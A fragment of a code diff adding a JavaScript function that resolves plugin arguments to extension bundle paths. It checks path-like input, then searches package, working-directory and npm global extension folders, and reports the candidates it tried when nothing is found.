|
+
// --- Rule 1: treat as a path if it contains separators, or if it resolves to an existing path ---
|
|
63
|
+
if (isPathLike(arg)) {
|
|
64
|
+
// Path-like: resolve against cwd and return (whether or not it exists — caller will fail later)
|
|
65
|
+
const resolved = resolve(cwd, arg);
|
|
66
|
+
if (existsSync(resolved)) {
|
|
67
|
+
return resolved;
|
|
68
|
+
}
|
|
69
|
+
// Path-like but doesn't exist: throw a specific error (not a bare-name resolution)
|
|
70
|
+
throw new Error(`Plugin path does not exist: ${resolved}\nPass an explicit path instead.`);
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
// Could be an absolute path (bare absolute paths don't contain separators only on Windows,
|
|
74
|
+
// but on Unix an absolute path starts with '/' which IS a separator, so this handles Unix fine).
|
|
75
|
+
// Also catch the case where arg resolves to an existing directory (absolute path without /... unlikely).
|
|
76
|
+
const asAbsolute = resolve(cwd, arg);
|
|
77
|
+
if (existsSync(asAbsolute) && arg !== asAbsolute) {
|
|
78
|
+
// Only when resolving it to absolute gives something different and it exists
|
|
79
|
+
// (e.g. a single-component name that is a direct cwd subdir — unusual on Unix).
|
|
80
|
+
if (isBundle(asAbsolute)) {
|
|
81
|
+
return asAbsolute;
|
|
82
|
+
}
|
|
83
|
+
// It exists but isn't a bundle — fall through to bare-name search.
|
|
84
|
+
// Do NOT return early here; a non-bundle dir that happens to share the name
|
|
85
|
+
// must not silently short-circuit the resolution chain.
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
// --- Rule 2: bare name → candidate search ---
|
|
89
|
+
const candidates = [];
|
|
90
|
+
|
|
91
|
+
// 2a. <packageRoot>/extensions/<arg>
|
|
92
|
+
const repoCandidate = join(PACKAGE_ROOT, "extensions", arg);
|
|
93
|
+
candidates.push(repoCandidate);
|
|
94
|
+
if (isBundle(repoCandidate)) {
|
|
95
|
+
return repoCandidate;
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
// 2b. <cwd>/extensions/<arg>
|
|
99
|
+
const cwdCandidate = join(cwd, "extensions", arg);
|
|
100
|
+
candidates.push(cwdCandidate);
|
|
101
|
+
if (isBundle(cwdCandidate)) {
|
|
102
|
+
return cwdCandidate;
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
// 2c. <npmGlobalRoot>/@amsterdamdatalabs/enact-extensions/extensions/<arg>
|
|
106
|
+
const npmGlobalRoot = getNpmGlobalRoot();
|
|
107
|
+
if (npmGlobalRoot) {
|
|
108
|
+
const globalCandidate = join(npmGlobalRoot, "@amsterdamdatalabs", "enact-extensions", "extensions", arg);
|
|
109
|
+
candidates.push(globalCandidate);
|
|
110
|
+
if (isBundle(globalCandidate)) {
|
|
111
|
+
return globalCandidate;
|
|
112
|
+
}
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
// --- Rule 3: nothing found ---
|
|
116
|
+
const uniqueCandidates = [...new Set(candidates)];
|
|
117
|
+
const candidateList = uniqueCandidates.map((c) => ` - ${c}`).join("\n");
|
|
118
|
+
throw new Error(
|
|
119
|
+
`Plugin "${arg}" not found. Looked in:\n${candidateList}\nPass an explicit path instead.`,
|
|
120
|
+
);
|
|
121
|
+
}
|